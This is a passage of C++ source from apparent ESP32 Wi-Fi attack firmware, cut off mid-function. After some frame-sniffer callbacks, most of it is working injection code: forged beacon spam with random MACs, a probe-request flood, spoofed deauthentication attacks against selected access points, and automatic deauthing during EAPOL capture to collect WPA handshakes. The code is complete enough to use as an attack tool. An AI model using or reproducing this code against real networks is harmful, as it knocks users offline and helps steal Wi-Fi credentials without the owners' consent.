  1330. sd_obj.addPacket(snifferPacket->payload, len);
  1331. }
  1332. }
  1333. }
  1334. }
  1335. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1336. {
  1337. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1338. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1339. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1340. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1341. int len = snifferPacket->rx_ctrl.sig_len;
  1342. String display_string = "";
  1343. if (type == WIFI_PKT_MGMT)
  1344. {
  1345. len -= 4;
  1346. int fctl = ntohs(frameControl->fctl);
  1347. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1348. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1349. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1350. #ifdef HAS_SCREEN
  1351. int buf = display_obj.display_buffer->size();
  1352. #else
  1353. int buf = 0;
  1354. #endif
  1355. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1356. {
  1357. delay(random(0, 10));
  1358. Serial.print("RSSI: ");
  1359. Serial.print(snifferPacket->rx_ctrl.rssi);
  1360. Serial.print(" Ch: ");
  1361. Serial.print(snifferPacket->rx_ctrl.channel);
  1362. Serial.print(" BSSID: ");
  1363. char addr[] = "00:00:00:00:00:00";
  1364. getMAC(addr, snifferPacket->payload, 10);
  1365. Serial.print(addr);
  1366. display_string.concat(addr);
  1367. Serial.print(" ESSID: ");
  1368. display_string.concat(" -> ");
  1369. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1370. {
  1371. Serial.print((char)snifferPacket->payload[i + 38]);
  1372. display_string.concat((char)snifferPacket->payload[i + 38]);
  1373. }
  1374. int temp_len = display_string.length();
  1375. #ifdef HAS_SCREEN
  1376. for (int i = 0; i < 40 - temp_len; i++)
  1377. {
  1378. display_string.concat(" ");
  1379. }
  1380. Serial.print(" ");
  1381. if (display_obj.display_buffer->size() == 0)
  1382. {
  1383. display_obj.loading = true;
  1384. display_obj.display_buffer->add(display_string);
  1385. display_obj.loading = false;
  1386. }
  1387. #endif
  1388. Serial.println();
  1389. if (save_packet)
  1390. sd_obj.addPacket(snifferPacket->payload, len);
  1391. }
  1392. }
  1393. }
  1394. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1395. {
  1396. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1397. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1398. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1399. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1400. int len = snifferPacket->rx_ctrl.sig_len;
  1401. String display_string = "";
  1402. if (type == WIFI_PKT_MGMT)
  1403. {
  1404. len -= 4;
  1405. int fctl = ntohs(frameControl->fctl);
  1406. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1407. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1408. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1409. #ifdef HAS_SCREEN
  1410. int buf = display_obj.display_buffer->size();
  1411. #else
  1412. int buf = 0;
  1413. #endif
  1414. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1415. {
  1416. delay(random(0, 10));
  1417. Serial.print("RSSI: ");
  1418. Serial.print(snifferPacket->rx_ctrl.rssi);
  1419. Serial.print(" Ch: ");
  1420. Serial.print(snifferPacket->rx_ctrl.channel);
  1421. Serial.print(" BSSID: ");
  1422. char addr[] = "00:00:00:00:00:00";
  1423. getMAC(addr, snifferPacket->payload, 10);
  1424. Serial.print(addr);
  1425. display_string.concat(text_table4[0]);
  1426. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1427. display_string.concat(" ");
  1428. display_string.concat(addr);
  1429. #ifdef HAS_SCREEN
  1430. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1431. {
  1432. display_string.concat(" ");
  1433. }
  1434. Serial.print(" ");
  1435. if (display_obj.display_buffer->size() == 0)
  1436. {
  1437. display_obj.loading = true;
  1438. display_obj.display_buffer->add(display_string);
  1439. display_obj.loading = false;
  1440. }
  1441. #endif
  1442. Serial.println();
  1443. if (save_packet)
  1444. sd_obj.addPacket(snifferPacket->payload, len);
  1445. }
  1446. }
  1447. }
  1448. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1449. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1450. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1451. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1452. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1453. int len = snifferPacket->rx_ctrl.sig_len;
  1454. String display_string = "";
  1455. if (type == WIFI_PKT_MGMT)
  1456. {
  1457. len -= 4;
  1458. int fctl = ntohs(frameControl->fctl);
  1459. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1460. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1461. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1462. #ifdef HAS_SCREEN
  1463. int buf = display_obj.display_buffer->size();
  1464. #else
  1465. int buf = 0;
  1466. #endif
  1467. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1468. {
  1469. delay(random(0, 10));
  1470. Serial.print("RSSI: ");
  1471. Serial.print(snifferPacket->rx_ctrl.rssi);
  1472. Serial.print(" Ch: ");
  1473. Serial.print(snifferPacket->rx_ctrl.channel);
  1474. Serial.print(" Client: ");
  1475. char addr[] = "00:00:00:00:00:00";
  1476. getMAC(addr, snifferPacket->payload, 10);
  1477. Serial.print(addr);
  1478. display_string.concat(addr);
  1479. Serial.print(" Requesting: ");
  1480. display_string.concat(" -> ");
  1481. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1482. {
  1483. Serial.print((char)snifferPacket->payload[26 + i]);
  1484. display_string.concat((char)snifferPacket->payload[26 + i]);
  1485. }
  1486. // Print spaces because of the rotating lines of the hardware scroll.
  1487. // The same characters print from previous lines so I just overwrite them
  1488. // with spaces.
  1489. #ifdef HAS_SCREEN
  1490. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1491. {
  1492. display_string.concat(" ");
  1493. }
  1494. if (display_obj.display_buffer->size() == 0)
  1495. {
  1496. //while (display_obj.printing)
  1497. // delay(1);
  1498. display_obj.loading = true;
  1499. display_obj.display_buffer->add(display_string);
  1500. display_obj.loading = false;
  1501. }
  1502. #endif
  1503. Serial.println();
  1504. if (save_packet)
  1505. sd_obj.addPacket(snifferPacket->payload, len);
  1506. }
  1507. }
  1508. }
  1509. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1510. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1511. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1512. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1513. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1514. int len = snifferPacket->rx_ctrl.sig_len;
  1515. String display_string = "";
  1516. String essid = "";
  1517. bool found = false;
  1518. if (type == WIFI_PKT_MGMT)
  1519. {
  1520. len -= 4;
  1521. int fctl = ntohs(frameControl->fctl);
  1522. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1523. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1524. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1525. #ifdef HAS_SCREEN
  1526. int buf = display_obj.display_buffer->size();
  1527. #else
  1528. int buf = 0;
  1529. #endif
  1530. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1531. {
  1532. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1533. {
  1534. essid.concat((char)snifferPacket->payload[26 + i]);
  1535. }
  1536. for (int i = 0; i < ssids->size(); i++) {
  1537. if (ssids->get(i).essid == essid) {
  1538. Serial.println("Found a sheep");
  1539. found = true;
  1540. break;
  1541. }
  1542. }
  1543. if (!found)
  1544. return;
  1545. delay(random(0, 10));
  1546. Serial.print("RSSI: ");
  1547. Serial.print(snifferPacket->rx_ctrl.rssi);
  1548. Serial.print(" Ch: ");
  1549. Serial.print(snifferPacket->rx_ctrl.channel);
  1550. Serial.print(" Client: ");
  1551. char addr[] = "00:00:00:00:00:00";
  1552. getMAC(addr, snifferPacket->payload, 10);
  1553. Serial.print(addr);
  1554. display_string.concat(addr);
  1555. Serial.print(" Requesting: ");
  1556. display_string.concat(" -> ");
  1557. // ESSID
  1558. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1559. {
  1560. Serial.print((char)snifferPacket->payload[26 + i]);
  1561. display_string.concat((char)snifferPacket->payload[26 + i]);
  1562. }
  1563. // Print spaces because of the rotating lines of the hardware scroll.
  1564. // The same characters print from previous lines so I just overwrite them
  1565. // with spaces.
  1566. #ifdef HAS_SCREEN
  1567. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1568. {
  1569. display_string.concat(" ");
  1570. }
  1571. if (display_obj.display_buffer->size() == 0)
  1572. {
  1573. display_obj.loading = true;
  1574. display_obj.display_buffer->add(display_string);
  1575. display_obj.loading = false;
  1576. }
  1577. #endif
  1578. Serial.println();
  1579. if (save_packet)
  1580. sd_obj.addPacket(snifferPacket->payload, len);
  1581. }
  1582. }
  1583. }
  1584. /*
  1585. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1586. set_channel = random(1,12);
  1587. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1588. delay(1);
  1589. // Randomize SRC MAC
  1590. packet[10] = packet[16] = custom_ssid.bssid[0];
  1591. packet[11] = packet[17] = custom_ssid.bssid[1];
  1592. packet[12] = packet[18] = custom_ssid.bssid[2];
  1593. packet[13] = packet[19] = custom_ssid.bssid[3];
  1594. packet[14] = packet[20] = custom_ssid.bssid[4];
  1595. packet[15] = packet[21] = custom_ssid.bssid[5];
  1596. char ESSID[custom_ssid.essid.length() + 1] = {};
  1597. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1598. }*/
  1599. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1600. set_channel = random(1,12);
  1601. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1602. delay(1);
  1603. if (custom_ssid.beacon->size() == 0)
  1604. return;
  1605. // Randomize SRC MAC
  1606. // Randomize SRC MAC
  1607. packet[10] = packet[16] = random(256);
  1608. packet[11] = packet[17] = random(256);
  1609. packet[12] = packet[18] = random(256);
  1610. packet[13] = packet[19] = random(256);
  1611. packet[14] = packet[20] = random(256);
  1612. packet[15] = packet[21] = random(256);
  1613. char ESSID[custom_ssid.essid.length() + 1] = {};
  1614. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1615. int realLen = strlen(ESSID);
  1616. int ssidLen = random(realLen, 33);
  1617. int numSpace = ssidLen - realLen;
  1618. //int rand_len = sizeof(rand_reg);
  1619. int fullLen = ssidLen;
  1620. packet[37] = fullLen;
  1621. // Insert my tag
  1622. for(int i = 0; i < realLen; i++)
  1623. packet[38 + i] = ESSID[i];
  1624. for(int i = 0; i < numSpace; i++)
  1625. packet[38 + realLen + i] = 0x20;
  1626. /////////////////////////////
  1627. packet[50 + fullLen] = set_channel;
  1628. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1629. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1630. // Add everything that goes after the SSID
  1631. //for(int i = 0; i < 12; i++)
  1632. // packet[38 + fullLen + i] = postSSID[i];
  1633. packet[34] = custom_ssid.beacon->get(0);
  1634. packet[35] = custom_ssid.beacon->get(1);
  1635. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1636. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1637. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1638. packets_sent = packets_sent + 3;
  1639. }
  1640. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1641. set_channel = random(1,12);
  1642. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1643. delay(1);
  1644. // Randomize SRC MAC
  1645. packet[10] = packet[16] = custom_ssid.bssid[0];
  1646. packet[11] = packet[17] = custom_ssid.bssid[1];
  1647. packet[12] = packet[18] = custom_ssid.bssid[2];
  1648. packet[13] = packet[19] = custom_ssid.bssid[3];
  1649. packet[14] = packet[20] = custom_ssid.bssid[4];
  1650. packet[15] = packet[21] = custom_ssid.bssid[5];
  1651. char ESSID[custom_ssid.essid.length() + 1] = {};
  1652. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1653. int ssidLen = strlen(ESSID);
  1654. //int rand_len = sizeof(rand_reg);
  1655. int fullLen = ssidLen;
  1656. packet[37] = fullLen;
  1657. // Insert my tag
  1658. for(int i = 0; i < ssidLen; i++)
  1659. packet[38 + i] = ESSID[i];
  1660. /////////////////////////////
  1661. packet[50 + fullLen] = set_channel;
  1662. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1663. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1664. // Add everything that goes after the SSID
  1665. for(int i = 0; i < 12; i++)
  1666. packet[38 + fullLen + i] = postSSID[i];
  1667. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1668. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1669. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1670. packets_sent = packets_sent + 3;
  1671. }
  1672. // Function to send beacons with random ESSID length
  1673. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1674. set_channel = random(1,12);
  1675. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1676. delay(1);
  1677. // Randomize SRC MAC
  1678. packet[10] = packet[16] = random(256);
  1679. packet[11] = packet[17] = random(256);
  1680. packet[12] = packet[18] = random(256);
  1681. packet[13] = packet[19] = random(256);
  1682. packet[14] = packet[20] = random(256);
  1683. packet[15] = packet[21] = random(256);
  1684. int ssidLen = strlen(ESSID);
  1685. //int rand_len = sizeof(rand_reg);
  1686. int fullLen = ssidLen;
  1687. packet[37] = fullLen;
  1688. // Insert my tag
  1689. for(int i = 0; i < ssidLen; i++)
  1690. packet[38 + i] = ESSID[i];
  1691. /////////////////////////////
  1692. packet[50 + fullLen] = set_channel;
  1693. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1694. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1695. // Add everything that goes after the SSID
  1696. for(int i = 0; i < 12; i++)
  1697. packet[38 + fullLen + i] = postSSID[i];
  1698. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1699. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1700. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1701. packets_sent = packets_sent + 3;
  1702. }
  1703. // Function for sending crafted beacon frames
  1704. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1705. set_channel = random(1,12);
  1706. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1707. delay(1);
  1708. // Randomize SRC MAC
  1709. packet[10] = packet[16] = random(256);
  1710. packet[11] = packet[17] = random(256);
  1711. packet[12] = packet[18] = random(256);
  1712. packet[13] = packet[19] = random(256);
  1713. packet[14] = packet[20] = random(256);
  1714. packet[15] = packet[21] = random(256);
  1715. packet[37] = 6;
  1716. // Randomize SSID (Fixed size 6. Lazy right?)
  1717. packet[38] = alfa[random(65)];
  1718. packet[39] = alfa[random(65)];
  1719. packet[40] = alfa[random(65)];
  1720. packet[41] = alfa[random(65)];
  1721. packet[42] = alfa[random(65)];
  1722. packet[43] = alfa[random(65)];
  1723. packet[56] = set_channel;
  1724. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1725. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1726. // Add everything that goes after the SSID
  1727. for(int i = 0; i < 12; i++)
  1728. packet[38 + 6 + i] = postSSID[i];
  1729. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1730. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1731. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1732. packets_sent = packets_sent + 3;
  1733. }
  1734. // Function to send probe flood to all "active" access points
  1735. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1736. // Itterate through all access points in list
  1737. for (int i = 0; i < access_points->size(); i++) {
  1738. // Check if active
  1739. if (access_points->get(i).selected) {
  1740. this->set_channel = access_points->get(i).channel;
  1741. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1742. delay(1);
  1743. // Build packet
  1744. // Randomize SRC MAC
  1745. prob_req_packet[10] = random(256);
  1746. prob_req_packet[11] = random(256);
  1747. prob_req_packet[12] = random(256);
  1748. prob_req_packet[13] = random(256);
  1749. prob_req_packet[14] = random(256);
  1750. prob_req_packet[15] = random(256);
  1751. // Set SSID length
  1752. int ssidLen = access_points->get(i).essid.length();
  1753. //int rand_len = sizeof(rand_reg);
  1754. int fullLen = ssidLen;
  1755. prob_req_packet[25] = fullLen;
  1756. // Insert ESSID
  1757. char buf[access_points->get(i).essid.length() + 1] = {};
  1758. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1759. for(int i = 0; i < ssidLen; i++)
  1760. prob_req_packet[26 + i] = buf[i];
  1761. /*
  1762. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1763. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1764. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1765. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1766. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1767. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1768. 0x00, 0x00
  1769. */
  1770. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1771. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1772. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1773. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1774. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1775. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1776. 0x00, 0x00, 0x00, 0x00};
  1777. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1778. for (int i = 0; i < 26 + fullLen; i++)
  1779. good_probe_req_packet[i] = prob_req_packet[i];
  1780. for(int i = 0; i < 40; i++)
  1781. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1782. // Send packet
  1783. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1784. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1785. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1786. packets_sent = packets_sent + 3;
  1787. }
  1788. }
  1789. }
  1790. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1791. // Itterate through all access points in list
  1792. // Check if active
  1793. WiFiScan::set_channel = channel;
  1794. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1795. delay(1);
  1796. // Build packet
  1797. deauth_frame_default[10] = bssid[0];
  1798. deauth_frame_default[11] = bssid[1];
  1799. deauth_frame_default[12] = bssid[2];
  1800. deauth_frame_default[13] = bssid[3];
  1801. deauth_frame_default[14] = bssid[4];
  1802. deauth_frame_default[15] = bssid[5];
  1803. deauth_frame_default[16] = bssid[0];
  1804. deauth_frame_default[17] = bssid[1];
  1805. deauth_frame_default[18] = bssid[2];
  1806. deauth_frame_default[19] = bssid[3];
  1807. deauth_frame_default[20] = bssid[4];
  1808. deauth_frame_default[21] = bssid[5];
  1809. // Send packet
  1810. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1811. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1812. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1813. packets_sent = packets_sent + 3;
  1814. }
  1815. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1816. // Itterate through all access points in list
  1817. for (int i = 0; i < access_points->size(); i++) {
  1818. // Check if active
  1819. if (access_points->get(i).selected) {
  1820. this->set_channel = access_points->get(i).channel;
  1821. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1822. delay(1);
  1823. // Build packet
  1824. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1825. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1826. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1827. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1828. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1829. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1830. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1831. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1832. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1833. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1834. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1835. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1836. // Send packet
  1837. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1838. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1839. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1840. packets_sent = packets_sent + 3;
  1841. }
  1842. }
  1843. }
  1844. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1845. {
  1846. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1847. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1848. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1849. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1850. int len = snifferPacket->rx_ctrl.sig_len;
  1851. if (type == WIFI_PKT_MGMT)
  1852. {
  1853. len -= 4;
  1854. int fctl = ntohs(frameControl->fctl);
  1855. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1856. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1857. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1858. if (snifferPacket->payload[0] == 0x80)
  1859. {
  1860. num_beacon++;
  1861. }
  1862. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1863. {
  1864. num_deauth++;
  1865. }
  1866. else if (snifferPacket->payload[0] == 0x40)
  1867. {
  1868. num_probe++;
  1869. }
  1870. if (save_packet)
  1871. sd_obj.addPacket(snifferPacket->payload, len);
  1872. }
  1873. }
  1874. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1875. {
  1876. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1877. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1878. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1879. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1880. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1881. int len = snifferPacket->rx_ctrl.sig_len;
  1882. if (type == WIFI_PKT_MGMT)
  1883. {
  1884. len -= 4;
  1885. int fctl = ntohs(frameControl->fctl);
  1886. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1887. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1888. }
  1889. // Found beacon frame. Decide whether to deauth
  1890. if (send_deauth) {
  1891. if (snifferPacket->payload[0] == 0x80) {
  1892. // Build packet
  1893. uint8_t new_packet[26] = {
  1894. 0xc0, 0x00, 0x3a, 0x01,
  1895. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1896. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1897. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1898. 0xf0, 0xff, 0x02, 0x00
  1899. };
  1900. new_packet[10] = snifferPacket->payload[10];
  1901. new_packet[11] = snifferPacket->payload[11];
  1902. new_packet[12] = snifferPacket->payload[12];
  1903. new_packet[13] = snifferPacket->payload[13];
  1904. new_packet[14] = snifferPacket->payload[14];
  1905. new_packet[15] = snifferPacket->payload[15];
  1906. new_packet[16] = snifferPacket->payload[10];
  1907. new_packet[17] = snifferPacket->payload[11];
  1908. new_packet[18] = snifferPacket->payload[12];
  1909. new_packet[19] = snifferPacket->payload[13];
  1910. new_packet[20] = snifferPacket->payload[14];
  1911. new_packet[21] = snifferPacket->payload[15];
  1912. // Send packet
  1913. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1914. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1915. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1916. }
  1917. }
  1918. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1919. num_eapol++;
  1920. Serial.println("Received EAPOL:");
  1921. for (int i = 0; i < len; i++) {
  1922. char hexCar[4];
  1923. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1924. Serial.print(hexCar);
  1925. //Serial.print(snifferPacket->payload[i], HEX);
  1926. if ((i + 1) % 16 == 0)
  1927. Serial.print("\n");
  1928. else
  1929. Serial.print(" ");
  1930. }
  1931. Serial.print("\n");
  1932. }
  1933. if (save_packet)
  1934. sd_obj.addPacket(snifferPacket->payload, len);
  1935. }
  1936. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1937. {
  1938. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1939. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1940. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1941. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1942. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1943. int len = snifferPacket->rx_ctrl.sig_len;
  1944. if (type == WIFI_PKT_MGMT)
  1945. {
  1946. len -= 4;
  1947. int fctl = ntohs(frameControl->fctl);
  1948. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1949. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1950. }
  1951. // Found beacon frame. Decide whether to deauth
  1952. if (snifferPacket->payload[0] == 0x80) {
  1953. // Build packet
  1954. uint8_t new_packet[26] = {
  1955. 0xc0, 0x00, 0x3a, 0x01,
  1956. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1957. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1958. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1959. 0xf0, 0xff, 0x02, 0x00
  1960. };
  1961. new_packet[10] = snifferPacket->payload[10];
  1962. new_packet[11] = snifferPacket->payload[11];
  1963. new_packet[12] = snifferPacket->payload[12];
  1964. new_packet[13] = snifferPacket->payload[13];
  1965. new_packet[14] = snifferPacket->payload[14];
  1966. new_packet[15] = snifferPacket->payload[15];
  1967. new_packet[16] = snifferPacket->payload[10];
  1968. new_packet[17] = snifferPacket->payload[11];
  1969. new_packet[18] = snifferPacket->payload[12];
  1970. new_packet[19] = snifferPacket->payload[13];
  1971. new_packet[20] = snifferPacket->payload[14];
  1972. new_packet[21] = snifferPacket->payload[15];
  1973. // Send packet
